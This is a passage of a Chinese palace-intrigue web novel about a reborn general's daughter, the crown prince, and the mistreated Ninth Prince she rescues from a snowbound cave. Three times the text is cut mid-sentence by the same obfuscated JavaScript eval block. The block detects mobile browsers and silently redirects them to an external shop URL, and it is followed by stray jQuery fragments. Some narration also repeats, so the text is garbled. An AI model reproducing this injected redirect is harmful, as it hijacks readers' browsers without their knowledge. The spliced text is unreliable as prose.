知晓此物事关重大,若贸然多说,可能会被传出去打草惊蛇。
于是,她扬起一个附和的微笑:“母亲说得是,等下我便寻太子同去,顺便去首饰铺看看新出的珠翠。”
听到她同意找太子,窦玉然温和地点了点头,目光中充满着“溺爱”道:“雪儿放心去吧,莫让太子久等了,母亲会和父亲说明情况的。”
须臾之间,她便在鞠场中央找到了被一众勋贵子弟包围着的太子。
太子凌瑾瑜一眼看到身着红裙,简直如同百花竞相开放的美丽少女,他不由自主地瞥了眼眼身边看呆的少年们后,嘴角扬起一抹炫耀的笑容,翻身下马迎上:“映雪,你来了!”
周遭的勋贵子弟们这才回过神,纷纷轻咳掩饰失态。奚家大小姐确实傲慢跋扈,但也长得实在好看,只可惜她好像只喜欢太子。
奚映雪微笑着,看着那道明黄色身影在自己面前停下,贵气天成,浑身气度带着皇家特有的潇洒,出生便被封为太子的他,天生就有着矜贵威严的气质,引人不自觉的臣服。
与九皇子凌昱的阴狠冷酷不同,太子凌瑾瑜则是让人如沐春风。
奚映雪目光扫过他俊朗温润的面庞,面色确是淡淡。
重见这位前世的夫君,她说不出心里的滋味。大概是,她不恨他,也早已没了当年的痴迷爱恋。皇权争斗本就是血雨腥风,如果他再争气一些,能保护得了奚家,是不是结局就会不一样。
可惜,没有如果。
四皇子凌兆武驾同样上前,脸上挂着戏谑的笑容:“我说太子殿下今日击鞠心不在焉,频频走神,原来是在等皇嫂?”
“老四!”凌瑾瑜淡淡斥责了一句,却对他口中之事不置可否。奚映雪不但长得十成十好看,家世也是极端出色,这般女子心甘情愿追着他跑,可谓是羡煞一众勋贵子弟,可见他这太子不但能力出众,魅力也是不容置疑。
凌瑾瑜噙着温柔笑意看向奚映雪。
在他眼中,少女如高雅白牡丹,风姿艳质,勾得他心神荡漾。
他毫不掩饰眼底的宠溺之色,他最满意母后做的一件事,就是选的这个正妃,第一眼看到他就喜欢上了:漂亮,霸道,像只高傲的波斯猫。只有这般容貌、家世,才配得上他储君的身份,连她骄纵跋扈的性子,在他看来都是彰显皇族气势的点缀。
“映雪妹妹身体可还好?”凌瑾瑜语气温柔得能滴出水来,“今早你昏倒,孤一直记挂着,若是此刻还有半分不适,只管告知孤,孤即刻传太医前来诊治,保准药到病除。”
凌兆武见状,愈发不怀好意地调笑:“怎么?皇嫂生病了,太子也不告知弟弟们一声,弟弟们也好备上薄礼,前去探望一番呀?”
“老四!你礼义廉耻都学到哪里去了!”似乎被凌兆武口中的直白震惊,凌瑾瑜忽地拔高声音。
“我这么说皇嫂可高兴呢,不信你问她!”
奚映雪淡淡睥过来,打量着他。
笑声戛然而止。
奚映雪握着马鞭,行至他前面,“你说什么?”
凌兆武瞳孔缩了缩,往日里这奚映雪仗着自己家世好、长得漂亮,简直是高傲万分,除了太子谁都不放在眼里,今日怎会和自己搭话,难道说到她心坎里了?
一边艳羡太子的好运,一边还期待着如果他成为储君
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096761|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,她会不会也追着自己跑,于是凌兆武强撑着继续道:“我可什么都没说,你能把我怎么样?”
奚映雪歪了下头,微微一笑:“你惹我生气,还要问我怎么样?”
“映雪妹妹,老四他也是无心之失,并非有意冒犯......”凌瑾瑜面露难色,还没说完,忽然看见那娇媚美人面秀眉一簇,似乎浮上一丝不虞,顿时没了下文。
几个世家子弟围上来,看到四皇子似乎惹怒了那出了名的傲慢大小姐,面面相觑。
凌兆武当众被奚映雪下了面子,心中难免有些憋屈,可对方终究是女子,他一个皇子若是与女子斤斤计较,反倒落了下乘。他咬了咬牙,声音低了几分:“那,我给你赔罪?”
奚映雪也不看他,“好的话、坏的话都让你说了,倒是轻巧啊。”
“那你想怎么样?”凌兆武此刻后悔自己刚刚图了口舌之快,太子都没说什么,他跳出来说什么皇嫂?
奚映雪芊芊细指摩挲着那马鞭,红唇轻启:“抽鞭子吧。”
凌兆武直觉告诉他应该发怒,可是看着那娇嗔一般的芙蓉美人面,翘起的眼尾尽显姝色,红唇的弧度是那么诱人,瞬间觉得下腹一紧,竟什么气都没了。
他抬眼看着奚映雪手里那根细细的红色马鞭,一闭眼,“行,我错了,你抽吧!”
奚映雪嘴角漾起一抹浅笑轻盈,“我抽你?”
凌兆武睁开眼,望着她那双水雾氤氲的明眸,一时有些失神:“那你什么意思?”
“太子来吧,作为兄长,也该好好教导教导弟弟。”
“......”众人皆惊,虽说早闻大将军府嫡女我行我素,没想到竟是如此张扬跋扈!竟还使唤上太子了!
凌瑾瑜同样错愕地看着奚映雪,她往日不是从不理会这些调笑的么?她迟早会嫁给自己,四弟叫她皇嫂也是开玩笑而已,怎么今日如此大张旗鼓地发脾气?他本打算拒绝,可是看到国色无双的少女眼中流露出那丝淡淡失望时,他几乎是下一秒就抬起了马鞭。
“啪!”地一声,那马鞭抽得很响。
霎时,凌兆武身上出现了一道鞭痕,他本人更是痛得龇牙咧嘴。
也不知哪个看热闹的公子哥先笑出了声,其他人纷纷笑起来,哄笑声瞬间在鞠场响起。
凌兆武痛得呼气,更多是感到屈辱,在世家子弟面前挨打,无异于把他的面子狠狠掷于脚下,登时就想要发作。
奚映雪也笑了。
一个极美的笑容荡漾在那美面上,雪白的肌肤上晕染上淡淡的红晕,粉嫩的嘴唇就那么一弯、一勾,饱满丰盈,极具风情,比那春天的桃花妖还要顾盼生姿。
凌兆武看呆了。
太子呆了,众人也停下了笑声。
活色生香!众人几乎不约而同地想到这个词!
鞠场上都是那十几岁血气方刚的少年,也不是没见过美人,但是还没见过奚映雪这样年纪轻轻、肤白若雪、脱俗清惑,一颦一蹙皆带着股勾魂摄魄味道的美人,那清纯又妩媚的气质似乎根本不是懵懂少女所能拥有的。
突然觉得没意思,奚映雪骑着马转身,还真是所有人都以为她要嫁给太子,真是讨厌极了!
“映雪!”太子见她要走,连忙策马追上。
鞠场树下阴影处,凌昱目送着红衣倩影远去,眼中浮现出几分思索。为什么,她要打四皇子鞭子?难道,真不是她故意的?
他缓缓走到旁边一个黑色骏马,翻身上马,黑色的骏马消失在鞠场。
4. 踩着我上马
“映雪,你怎么生气了,老四他是无心的......”
凌瑾瑜追上来解释着,往日她从不理会这些闲言碎语,更何况她本就注定是他的太子妃,老四那句玩笑不过是点破事实,今日为何偏要这般小题大做、当众发作?他眼底满是不解,目光却不由自主黏在少女身上,移不开半分。
奚映雪转过身,那双水灵猫眼儿氤氲着薄怒,娇嗔道:“那太子哥哥就任由他欺辱我了,未出阁女子的名声最为重要,他那样侮辱我,我为何不能生气!”
美人发怒,别有一番味道。凌瑾瑜也来不及去想为什么叫一句“皇嫂”就侮辱她了,只觉浑身骨头都酥了半截,连忙放缓语气哄劝:“映雪说的是,回去我就教训他们,绝不让旁人再敢胡言乱语,污了你的名声。”
得到太子的承诺后,奚映雪方点了下雪白的下巴。
凌瑾瑜松了口气,继续好言好语:“等下就是第一场围猎,我得参加。待狩猎归来,我给你抓些乖巧的小狐崽、白野兔,当作赔罪的物件儿,好不好?”
看到太子服软了,她也没什么可强硬的,点了点头道:“太子哥哥先去吧,可别误了时辰,我等你的好消息。”
凌瑾瑜笑着走了。
很多贵女公子哥都在往猎场方向走,一片热闹景象。看着那形形色色的人影,奚映雪脑中突然想:自己上辈子在燕王府那一年都没有骑过马,也不知她的骑射术退步了多少,估计大不如前了吧!
要不?试试?
她看了一眼自己的装束,今日本没打算骑马,故而穿的普通裙装,现在倒是有些不方便了!不过,只是骑两圈试试,熟悉一番马性,又有何妨?
思忖过后,她喊过来一个路过的小厮,叫他去马厩牵引她的“银月”牵过来。
银月是她年少生辰时,哥哥送她的北疆宝马,通体雪白无半分杂色,隐隐可见上面银光流转,故而唤名银月,十分通人性。
小厮不敢怠慢,快速远去。
奚映雪站在草场上欣赏着冬日景色,正午日光下,几匹棕色骏马昂首刨着蹄,西侧曲江已经结冰,与远处大雁塔的青灰剪影遥遥相对,鲜活舒适。
她看着马场上奔驰的骏马一圈又一圈掠过,天边大雁振翅盘旋,往复不休,只觉得那小厮去得格外长久,心头渐渐生出几分不耐。
正有些烦躁时,忽见一人一马缓缓走近。
看清那人后,奚映雪霎时脑子里一片空白。
不知道是因为再次撞见凌昱的冲击力太大,还是被他如今这副散漫、随意牵着白马的陌生样子惊到了。
为什么是他?!
凌昱牵着银月走到她面前,那马见到主人,姿态十分温顺。奚映雪此时只想赶紧离去,无暇亲昵宝马,僵硬地接过缰绳。
她强压下心头的慌乱,正打算上马离开,却猛然发现:她既没带侍卫,也没带侍女,还穿的锦袍襦裙。孤身一人,这样的装束如何上马呢?
一时进退两难。
正拿着那缰绳犹豫时,有道声音拽回了她的思绪:“你要用马?”
奚映雪闻言抬头看他。
只见凌昱微微弯下腰,伸出虬结有力的双臂,流畅的肌肉线条宣誓着主人的武力及可靠,明明是卑微的姿态,却并无谄媚,反倒带着几分不容抗拒的强势:“踩着我上马。”
奚映雪:“......”
看着那双臂,她小腿肚子突然打颤了一下,前世她就觉得这手臂估计能轻易捏碎自己的脖骨。而且,昨日这人还是一幅冷漠愤怒的样子,今日就这样好心了?她是想早点死吗?还踩着未来天子上马?
“不用了。”她悄悄往旁边挪了一步,佯装平静地说。
“不用?”凌昱歪头看着她,旋即起身任她自行尝试。半晌后,好像欣赏够了她穿着裙繁复裙装、手足无措的举动后,他嘴角勾起一个极其细微的弧度,猿臂一伸,稳稳将她托到了马上。
“啊!”奚映雪被吓了一跳,惊叫出声,赶紧抓住缰绳稳住身体,朝右侧看去。
凌昱已经放下手,好整以暇地看着她。
奚映雪呆呆地看着那双眼睛,那双长睫染墨的凤眼似乎含着笑意,近距离瞧着,竟然看到瞳孔深处貌似有一抹深绿色泽,透着几分异域风情。
“你……”她张了张嘴,声音有点发颤,不知道该说什么。
凌昱却后退几步,点头示意后便转身回到远去,并未再有相谈的打算。
奚映雪看着那道背影,颇有些无语。
阴晴不定!
这人,仿佛昨日两人的拌嘴没发生过一样,现在居然看起来心情还不错。果然,哪怕重生了,凌昱无论是语言、行为还是想法,还是她极其难以沟通的那种,不但无法预测,还无法理解。
她抿了抿唇,收回目光,脚上轻轻用力,白马听话地抬蹄,向猎场走去。
只是她的呼吸还是略显急促,自以为佯装地很好其实根本骗不过练武之人的听觉。凌昱缓缓回头,看着那红衣倩影骑着白马走向猎场入口,下意识地摩挲着双手,仿佛还能感受到上面的柔软触感。
-
游马场主殿中,金碧辉煌。
宫女、太监们皆敛气屏声,垂手而立。
那位将军府嫡出的贵女,前来拜见皇帝和皇后谢恩了。
前不久,奚家嫡长子奚明璋大破来犯敌寇,护疆有功。皇帝龙颜大悦,感念将军府忠心耿耿鞠躬尽瘁,特赐一柄“惩佞鞭”,见鞭如见君,彰显皇恩浩荡。
因奚明璋将军远在边关,这象征着无上荣宠的鞭子,便由其妹妹奚映雪亲手接过。
这奚映雪,本就出身显赫,身为将军府嫡女、更是荣王府外孙女,身份贵重。
如今又得了御赐金鞭,一时间风头无量。
一个小宫女憋不住,寻了个空头悄悄问旁边老太监:“李公公,奚家小姐刚刚不是已经在见过观猎台圣上了吗,为何皇后还特意召见她来这边?”
老太监斜睨了她一眼,低声道“要我说,你们这些小丫头还是太嫩了。如今将军府掌握二十万兵权,小将军又立了大功,势头何等强盛?娘娘这是在向将军府示好呢!”
小宫女恍然大悟,又好奇地瞥向殿内,“这么说,这位奚家小姐,是皇后娘娘内定的太子妃了?”
老太监意味深长,“你心里有数就行,咱们好生接待,务必不要出错。”
大殿内。
皇后坐在主位,向来庄严的面上此时却带着柔和。她如同自家长辈一般开口道:“奚映雪,皇帝那边你见过了,可还好?”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096762|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
她敛衣行礼:“回皇后娘娘,陛下圣恩浩荡,我已向陛下叩谢过恩了。”
皇后满意地笑了,“本次围猎几天后就是冬至了,倒时你便进宫多陪陪本宫,届时去赴大朝会,也沾沾皇家的福气。”
奚映雪闻言,颔首应下。
她对国内冬至大朝会的庆典并无兴趣,但是可以在宫内发觉些神秘符号的信息,也未尝不可。
正准备说话,忽见一抹一明黄色身影从门口方向走近。那人身着太子长袍,贵气天成,轻快含笑道:“母后,儿臣听闻映雪妹妹来了,连忙赶来了!”
正是大夏太子,凌瑾瑜。
奚映雪目光扫过他俊朗温润的面庞,面色淡淡。
重见这位前世的夫君,她说不出心里的滋味。大概是,她不恨他,但也没有了爱意。皇权争斗本就是血雨腥风,如果他再争气一些,能保护得了奚家,是不是结局就会不一样。
可惜,没有如果。
皇后见了爱子,笑意更浓,打趣道:“你倒是消息灵通,定是早便派人盯着了吧。你们俩自小一同长大,感情倒是愈发深厚了。”
凌瑾瑜不置可否,只噙着温柔笑意走向奚映雪。
“映雪妹妹今日可还头疼?若是此刻还有半分不适,只管告知孤,孤即刻传太医前来诊治,保准药到病除。”凌瑾瑜语气温柔得能滴出水来。
皇后:“映雪昏倒过,怎么回事?”
凌瑾瑜:“母后,前几日在马场,九弟不慎惊了映雪妹妹的马,她一时不稳便摔了下来,晕了片刻。”
见二人提及凌昱,奚映雪迅速敛去其他心绪。
她浅浅一笑:“劳烦皇后娘娘挂心,只是一时头晕目眩,并无大碍,如今早已康复。”
皇后当即吩咐:“快,把本宫新得的龙脑香取来,赐给奚小姐。”
太子趁热打铁:“孤再让太医给你开些冰片药方,清心明目,也好根治头晕的毛病。”
对于二人如此情深意切的关心,奚映雪均礼数周到地接下。
但是内心已无波澜。
垂下眼眸,她嘴角甚至勾起一抹极淡的嘲讽笑意。
呵,这一出戏,也难怪她当年会看错。当年,她就是被这些小恩小惠冲昏了头,还以为他们真心真心疼爱自己,如同个跳梁小丑与京中贵女争斗不停,甚至掏空名下私产补贴太子府。然而,太子终究护不住她,也护不住奚家。
太子见她面色平平,没有往日的明媚活泼,还以为她在为惊马之事介怀。
他连忙上前温声安抚:“映雪妹妹,你且放宽心,那个冲撞你的人,你很快就不会看到他了。”
“太子,慎言!”他的话未说完,便被皇后厉声打断:“皇家内务,岂能在旁人面前妄议?成何体统!”
奚映雪心头猛地一跳,涌上一股不好的预感。
“母后,这事我只和映雪说,她也不算是旁人。”凌瑾瑜面露委屈,语气带着几分辩解,目光却暗含得意地瞥向奚映雪,似在炫耀自己为她出头。
皇后依旧眉头微蹙,凌瑾瑜就没有再说了,只是转头看向奚映雪,“反正妹妹舒心就是。”
奚映雪不明所以,视线扫过面前这两张贵气天成、却同样凉薄的相似面孔,却突然有一种不好的预感。
5. 大雪天
五天围猎匆匆而过,天空突然就下起了雪来。
偏殿暖阁中,侍女端着餐盒便进来了。
奚映雪斜倚在铺着狐裘软垫的坐榻上,面前食案摆满精致膳食。一袭月白绣折枝玉兰花锦裙,狐裘披肩衬得肌肤莹白胜雪,眉如远黛,眸若秋水,哪怕只是低头用餐,也透着令人心折的娇美。
“你说,他们抓到了一只白虎?”奚映雪停下筷子看向侍女,语气平淡,听不出太多情绪。
绣橘点了点头,一脸激动地说:“是啊,外面都在议论这个事呢!说是太子带着四皇子他们,狩猎到好大一只吊睛白虎,那白虎凶悍异常,为了抓捕它,不但跑死了好几匹上好的骏马,还走失了几个随行的仆人呢......”
奚映雪听后微微颔首,加了一筷子青菜并未说话,只要能在比赛中出风头,死了马、丢了仆人,也没有什么人会在意。
大夏朝本就尚武崇文,皇家世族更是以武力作为衡量能力的标准,不然也不会设下“春蒐、夏苗、秋狝、冬狩”四季均有的狩猎规矩了。每逢狩猎,若是有人能拔得头筹,不仅能获得圣上的丰厚赏赐,更能赢得众人赞赏,声望大增。
奚映雪用过饭,坐在窗边看着那皑皑白雪。大雪下得很密,眼前飞舞过一片片晶莹的雪花,转瞬之间便将苍茫的马场覆盖成了一片银装素裹的世界,天地间白茫茫一片,分不清边界。
绣橘给她递上一个暖手炉,有点担心地看向窗外:“也不知那几个走丢的仆人找到没有,雪下的这么大,若是入夜前还找不到,怕是要冻毙在深山之中了!”
“丢的是哪里的仆人,派人出去找了吗?”指尖传来阵阵暖意,语气依旧平淡,冬日冻死人的情况确实屡见不鲜,尤其是围猎场,后山林木茂密,还下着雪,找人确实不容易。
“听方才太子殿下身边的小卓子说,好像是马厩里的马夫......”
奚映雪抬眼看向绣橘,心中骤然升起一个不好的预感:“马厩的?可知都叫什么名字,或是有什么特征?”
绣橘懵懂地摇头:“小卓子没细说,他忙着给各位皇子公主送刚烤好的兔肉,匆匆说了两句便走了。”
屋外鹅毛大雪像大帷幕一样从天而降,越下越急,甚至可以听到屋外呼啸而过的风声。她不由得蹙着眉,想着那日出现在马厩的凌昱,目光微微一动。
视线移到窗外,如此大雪,那走失的马夫,不会是凌昱吧?
-
这雪一直下到了傍晚,待风雪渐停、天地间重归静谧时,奚映雪已然在父亲奚远峥与后母窦玉然那里用过了晚膳。她婉拒了后母派人送回住所的提议,独自踏着积雪前行,脚下锦靴踩在松软的雪地上,发出“咯吱咯吱”的轻响。
行至半途,奚映雪忽地顿住脚步,竟调转方向,朝着马厩所在的方向走去。她也说不清自己为何这般,明明告诫过自己,凌昱的死活与她毫无干系,可心底有着那股莫名的不安。
马厩周遭的积雪被清扫过一部分,空气中残留着淡淡的草料与马匹的气息,被大雪掩盖了大半,倒也不算刺鼻。
奚映雪站在马厩门口,开口询问值守的小厮:“九皇子在吗?”
那小厮正低头清理马粪,闻言懵懂地抬起头,满脸茫然:“九皇子?”
奚映雪蹙着一双美目,耐着性子描述:“就是前几日被罚来清理马厩的九皇子凌昱,约莫十五六岁年纪,身形高挑,身上带着不少新旧伤痕。”
那小厮似乎在思考,半晌,他回道:“贵人是说小黑吗?他前几日确实被派来马厩干活,后来跟着各位贵人们进山围猎了,至今还未回来,并不在马厩。”小厮心底暗自疑惑,那位公公明明说他是罪奴小黑,怎么贵人却说他是九皇子?可他不敢多问,只如实回话。
“其他人早都回来了,为何他不在?”
小厮被她的气势吓了一跳,连忙低头认错:“贵人恕罪!贵人恕罪!小的只负责看管马匹、打理马厩,其他事宜一概不知啊!求贵人饶过小的!”
奚映雪微眯着双眼,并没有在那个小厮脸上看出说谎的痕迹。她抿着唇,告诫自己是多心了,凌昱那般阴狠偏执之人,命硬得很,前世历经千难万险都能登上帝位,又怎会轻易折在这深山大雪之中?更何况,他死与不死,与自己又有何干?
她转身向前走了两步,眼前居然浮现起那深绿色眼眸,清冷、阴鸷,又带着几分落魄的倔强,挥之不去。她旋即转身冲着刚刚那人道:“把银月牵出来给我。”
-
下完雪的后山一片寂静,完全看不见人影。空气清新如洗,林子里静悄悄地,连个鸟叫声都没有,仿佛整个后山都悄悄的沉浸在无底的深渊之中。
奚映雪骑着银月在山林中缓缓前行,银月蹄下稳健,避开了积雪覆盖的坑洼。跑了约莫半柱香功夫,她便看到了林间散落的野兽挣扎痕迹,不少树枝被蛮力压倒,地上还残留着淡淡的血迹,虽被大雪覆盖了大半,却依旧能辨认出此处便是太子一行人捕获白虎的地方。
在那周围寻找了好久,但是大雪掩盖了太多痕迹,实在难以察觉人的痕迹。奚映雪看着白茫茫的树林,一时间没了主意。
她咬了咬牙,驱使银月朝着山林深处继续前行,又搜寻了约莫一个时辰,终于在一处隐蔽的山坳旁,发现了一个黑漆漆的洞穴。
游马场的洞穴大多是人工开拓而成,供狩猎时遭遇雨雪天气临时歇息之用,故而她并未太过害怕。更何况刚下过大雪,天寒地冻,山中野兽早已蛰伏巢穴,极少会出来活动。
洞穴入口被白雪环绕,内里漆黑幽深,透着几分令人心悸的寒意。奚映雪也不知自己哪里来的勇气,或许是心底那股莫名的执念,或许是重生后对因果的敬畏,她心一横,从马鞍旁取下备用的火把,点燃后握紧手中,缓缓朝着洞穴内走去。
如果换成自己走丢了,还碰
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17096763|195648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
下下大雪,肯定会在周围找个能遮蔽的地方,这个洞穴就很符合遮风挡雨的要求。
但是,万一他不在呢?自己岂不是在这冰天雪地里白白走走一遭。凌昱上辈子比自己活得还长,又怎么可能会死在这种地方,重重心绪纷乱异常,她摸着黢黑冰凉的墙体,缓缓的前行。
火把燃烧的噼啪声,成了洞穴中唯一的声响。纵然举着火把,洞穴里还是太过黑暗,她不小心踩到了一个软乎乎的东西,顿时吓得大叫一声。
几乎是惊跳着移开,远离了好几步,把火把凑上去,才看清这只是一片脏污的黑布。
可不等她彻底放松,前方黑暗之中忽然传来一阵细微的响动。
她本就悬在嗓子眼的心瞬间提到了极致,一股强烈的悔意涌上心头,就怕那黑暗之中走出个豺狼虎豹,那她可算是重生没几天就又死了,这次可能是被咬死的。
几乎是打起万分精神紧盯着那黑暗之中,那处却没了声音。
她屏息等待了许久,方才确定里面确实没什么能突然暴起的动物,她抬起脚步,慢慢上前。当火把的光芒照亮斜倚在洞穴深处岩壁上的黑色身影时,她的心情瞬间变得复杂起来。
是凌昱。
看着那纹丝不动、仿佛失去生机的身影,奚映雪简直要苦笑,这人大概就是她的冤家吧!前世他囚了自己一年,还赐了一杯毒酒。现在却巴巴地冒着风雪进山寻找,结果还真的是他!
孽缘啊,事到如今,不得不救,也只能叹气。
把火把往前放了放,光亮瞬间驱散了周遭的黑暗。借着火光,她看清了凌昱的模样:黑衣少年上身被绑着,双眼紧闭,气若游丝。身只穿一层单薄的黑色里衣,身上数道伤口,面色苍白似纸,嘴角沁出刺眼的鲜红。
看清那情景,奚映雪只觉得耳边一阵嗡鸣。
明明是围猎野兽,他为何会被人捆绑?,还受了伤,不用细想,她便能猜到他定然是遭受了刻意的刁难与迫害,大概率与那些皇家世族脱不了干系。
奚映雪胸口起伏不定,忽地就想来皇后太子那日所言,竟是这个意思!
一股难以言喻的悲痛,从她心底蜂涌而出。
虽恨他前世所为,可是,他现在仅仅是个没有任何权利的落魄少年,又哪有什么罪名,何至于遭受这般残酷的对待?
想到此,她快步的走到他身前,开口唤他的名字,却怎么也唤不醒,再一摸,少年额头滚烫得厉害。
-
耳边,寒风灌进来的呜呜声好像不复存在了,他甚至感觉到了一丝暖意。
似有所感,凌昱缓缓睁开了双眼。
映入他眼帘的,居然不是黑暗冰冷的洞穴,也不是漫天飞雪,而是一间暖意融融的房间。视线模糊中,他看到高贵的织锦裙摆,雪白的狐裘披肩,金色绞丝鞭,最后,是一张姣美绝伦的容颜。
那美丽的双眼里隐有泪意,与他隔空相望。
6. 修养
从被派到清理马厩后,凌昱数不清是第多少次失神了。
不过就是奚映雪的一次戏弄。他咬着牙想,在马场看着他下跪不尽兴,特意寻到马厩来嘲讽戏耍,或者和那群人一样,是来找什么东西的。
她向来傲慢、霸道、骄狂恣肆,什么都不放在眼里。
但好像又不太一样。
那双极其漂亮的眼睛里,太过专注与澄澈,里面偶尔也能看到他的影子。
将他这样阴暗的人照得无所遁形。
一个念头陡然在心底滋生:若将这双明亮无暇的眼睛,囚于暗无天日的牢笼中,或是像他涂满污泥、染上尘埃,是否还能有这么肆意与鲜活?
是否还能居高临下地对他流露怜悯?
脑中昏昏沉沉,几乎闭上眼就能看到那个身影。
他不愿就此沉沦,索性起身抄起马厩内的树枝,在空地上练了起来。一刻都不停,直到次日清晨,直到疲惫终于盖过了心中不合时宜的火苗。
抬脚转身回房,背后的闷棍却让他彻底失去意识。
刺骨的寒霜中,他发现自己被绑着。
“这小子骨头硬啊,那么一大包迷药居然没用,害我们白白守了一个晚上。”一个太监生气地踢了他一脚。
“谁知道吃过多少药了,下次换一种,这种玩意儿再吃都不起作用了。”
凌昱睁开眼,冷冷地扫视着这几个侍卫。
“谁派来的?皇后?华贵妃?”他冷言嘲讽,这种事情已经见怪不该。
“小贱种!你只需知道自己得罪了贵人,今日便是你的报应!”
“别打死,留点伤口,有血腥味,等下还要靠他引诱那猛虎!”
拳头脚踢及刀具划痕纷纷落下。
他其实武功不错,只是昨日被迷药暗算,又因练武过度累极疲极,才给了这些人可乘之机。
被牢牢捆绑着无法反抗,他嘴角沁出鲜血。
随后被一群人拉着到树林中,冻了许久,听到猛虎咆哮,他拼命逃跑,也不知道走的什么路线,竟然跑到洞穴中,躲过了猛虎的追击。
五脏剧痛,本来不想说话,但视线凝在那宝蓝色的身影上时,他还是开口了。
“这是哪里?”声音嘶哑。
奚映雪瞥向那道前世贵气桀骜的身影,现在浑身是伤躺在地上。
不得不承认,她对他有恻隐之心。
“我的卧房。”奚映雪走过去,轻轻掀开他的衣服,见到那皮肉外翻深可见骨,顿时身体一僵,她早知道那些奴才的嘴脸,受宠时点头哈腰,不受宠时恨不得将人活活扒下一层皮,没想到下手竟如此重......
好在天气寒冷,若换到夏日,估计伤口早就要溃烂了,他更不可能活到现在。
奚映雪走过去,刚用烈酒擦到那伤口上,凌昱不用控制地“嘶”了一声。
“你想被别人听见你就叫吧!”她愤愤地说,心里已经是十分后悔,刚刚几乎是废了九牛二虎之力才用银月把这人驮回来,也不知道没事干长这么高干嘛,简直重得要死!还好银月特别通人性,非常配合得将他拱到背上,不然她肯定是抬不动他的。
出去那么久,还带回来个半死不活的人,几乎是差点把婢女们吓死。
还好,没有打草惊蛇。
凌昱那双深邃的凤眸似是瞳孔放大了一瞬,愣愣地看着她。
奚映雪生气地吓他,“一个皇子,却落到如此境地,你难道不该反省吗!不许你叫了,不然我就把你丢出去!”
凌昱的胸膛起伏了几下,伤口很疼,但他居然被人救了,救的人还是这位深恋太子的将军府贵女。
好久才收拾好了伤口,奚映雪开口:“别再受伤了,下次开没用我这么好心的人。”
“这是金疮药,给你用吧。”她把锦盒放到地上。
凌昱沉默着,并未说话。
一会儿后,他兀地吐出一口血来。
奚映雪一惊,连忙快步走近看他,她走过去触碰他:“你......”
几个侍女进来就看到这一幕,绣橘顿时大惊失色,连忙上前劝阻,将凌昱扶了起来。
“小姐,您别碰他,让奴婢来就行!”绣橘面色焦急,要是让将军和夫人知道小姐触碰了一个快死的不知道是谁的人,一定会生气的。
奚映雪却没有松手,蹙着眉,一双美目紧紧盯着他。
凌昱缓缓动了下手指。
他是受了一些伤,但应该伤的不重。
他要努力才能活下去,这件事从开蒙时他就知道了。
明明生在皇家,却拥有最不堪的身世——母亲是北疆异族,也是他的父亲最不愿提起之事。小的时候他总以为是皇后想害他,也曾找到机会红着眼睛冲到玄丰帝面前,控诉着他的冷漠无情,质问他为什么不认自己这个儿子。可玄丰帝只是冷冷地看着他,说他有和母亲一样的血液,让他无比厌恶。
他年少不懂其中原由,只是愤恨地看着玄丰帝。
这份控诉没有获得应有的照顾,反而让所有人都知道了皇帝对这个不受宠儿子的态度。不日,各种陷害、欺辱、拳打脚踢接踵而来,所有人都恨不得他立即消失在世界上。
但是碍于他皇子的身份,那些人又不敢做得太绝。只能,时不时得下个毒,克扣他的食物,拳打脚踢,暗暗迫害他。
他就是在这样的皇宫里成长起来的,从他顶着满身的伤,狼狈不堪地从那个御书房里跑出来的那一刻,他就知道,自己已经没有家了。
没有家、没有爱,只有无穷无尽的恨意。
恨冷酷且不明事理的铁腕父亲,恨生下他却一走了之的母亲,恨皇宫里所有虚伪阴毒的人,最恨这个年幼、软弱、没有任何反驳之力的自己。
最后一次受伤,他回到了冷宫,坐在老杨树下。
夜色浓稠,晚风带着寒意,吹得他瑟瑟发抖。一个老太监突然出现,带着酒气伸着手笑嘻嘻朝他摸过来。
曾经的皇子已经不存在,有的,只是一个同样虚伪、阴狠、为了活下去不顾一切的少年。
多日后,终于有人发现了冷宫那具已经变得恶臭的太监尸体。
所有人看他的眼神,从嘲笑,又转变为惊惧和愤怒。
凌昱缓缓将眼睛从奚映雪脸上移开,为什么,却在她的眼睛里看不到冷漠、嘲弄、愤怒和恐惧?
可是无论怎么想,今日都是她马厩戏弄不成,又想出另一个捉弄的法子。当她的狗,呵呵。不但要他身体受苦,还要愚弄他的精神。折磨一个人最好的办法就是先给他希望,又亲手铲除这个希望,残忍且符合逻辑。
可是看着她的眼睛,他竟不愿相信这个事实。
奚映雪实在不忍心看他这幅破破烂烂的样子,也不知道那群太监请太医要请到什么时候。
既然他已经归顺于她,也就没什么可忌讳得了。她心一横,开口:“绣橘、青荷,帮他解开衣衫,我要给他上药。”
侍女们都震惊了,脸上满是难以置信——大小姐这是要亲自
